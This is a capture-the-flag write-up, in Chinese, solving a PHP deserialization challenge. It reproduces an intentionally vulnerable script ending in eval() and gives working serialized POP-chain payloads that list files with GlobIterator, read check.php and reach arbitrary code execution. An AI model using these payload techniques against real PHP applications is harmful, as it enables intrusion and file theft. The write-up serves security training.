CTFshow愚人杯-被遺忘的反序列化

Ssh1y發表於2023-04-20

這題雖然只有100的分值,但是我覺得它涉及到的東西還蠻多的,寫個隨筆記錄一下。

題目

<?php

# 當前目錄中有一個txt檔案哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }

    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
    
}

class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

看完題目其實整個POP鏈還是很清晰的,入口可以是w_wuw_w的__destruct()函式,也可以是EeE的__wakeup()函式,最終目的是呼叫cycycycy類的aaa函式,但是aaa函式中有個cipher函式我們並不清楚,應該是check.php內引入的。
題幹提示說當前目錄下有個txt檔案,這個也需要我們去獲取一下。

WP

這裡需要利用PHP原生類GlobInterator來獲取當前資料夾下的txt檔案的名字,利用的點在:

$a = new $this->coos($this->file);
 echo $a;

只需要將$this->coos設定為GlobInterator,而$this->file設定為/*.txt,即可透過echo將檔名列印出來。
所以傳入的payload為:

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"a";s:4:"file";s:7:"./*.txt";s:4:"coos";s:12:"GlobIterator";}s:3:"key";N;s:4:"file";N;}

得到h1nt.txt
關於PHP原生類的更多訊息,可以檢視文章:CTF中PHP原生類的使用
image
接著就是讀取h1nt.txt的檔案內容了。透過:

public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
}

可以讀取檔案內容,將其放置於$this->key內,只是這邊沒有輸出$this-key的值,但是在解構函式中,出現了:

public function __destruct(){
        echo $this->aaa;
}

所以,可以在傳入類的時候將$this->aaa的值賦值為&$this->key,即key的地址,然後在echo的時候就可以將檔案內容進行輸出。payload為:

O:7:"w_wuw_w":3:{s:3:"aaa";s:1:" ";s:3:"key";R:2;s:4:"file";s:10:"./h1nt.txt";}

得到:
image
根據提示可以知道,這個應該是一個凱撒加密,移動的位數在2-4之間,需進行爆破即可得到p8vfuv8g8v8py的明文。

意外

仔細觀察下列函式:

public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
}

$this-key的值進行了一波正則匹配,但是最後讀取的卻是$this->file(可以說這個檢測其實是毫無作用的),所以這邊我們也可以不去猜測txt檔案的名字,直接用這部分的邏輯漏洞去讀取check.php即可。payload如下:

O:7:"w_wuw_w":3:{s:3:"aaa";s:1:" ";s:3:"key";R:2;s:4:"file";s:11:"./check.php";}

得到:
image
check.php的原始碼為:

<?php
function cipher($str) {

    if(strlen($str)>10000){
        exit(-1);
    }

    $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
    $shift = 4;
    $shifted = "";

    for ($i = 0; $i < strlen($str); $i++) {
        $char = $str[$i];
        $pos = strpos($charset, $char);

        if ($pos !== false) {
            $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
            $shifted .= $charset[$new_pos];
        } else {
            $shifted .= $char;
        }
    }

    return $shifted;
}

嗯!所以再根據這個指令碼寫一個解密的指令碼就好了。

<?php
function decipher($str)
{

    $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
    $shift = 4;
    $original = "";

    for ($i = 0; $i < strlen($str); $i++) {
        $char = $str[$i];
        $pos = strpos($charset, $char);

        if ($pos !== false) {
            $new_pos = ($pos + $shift) % strlen($charset);
            $original .= $charset[$new_pos];
        } else {
            $original .= $char;
        }
    }

    return $original;
}

echo decipher("p8vfuv8g8v8py");

得到了明文為:fe1ka1ele1efp

最終

剩下來就是直接構造鏈子開始打,payload如下:

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:3:"xxx";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";N;s:4:"file";N;}}s:3:"key";N;s:4:"file";N;}

傳入?get=fe1ka1ele1efp,POST內傳入eval=要執行的命令即可。

相關文章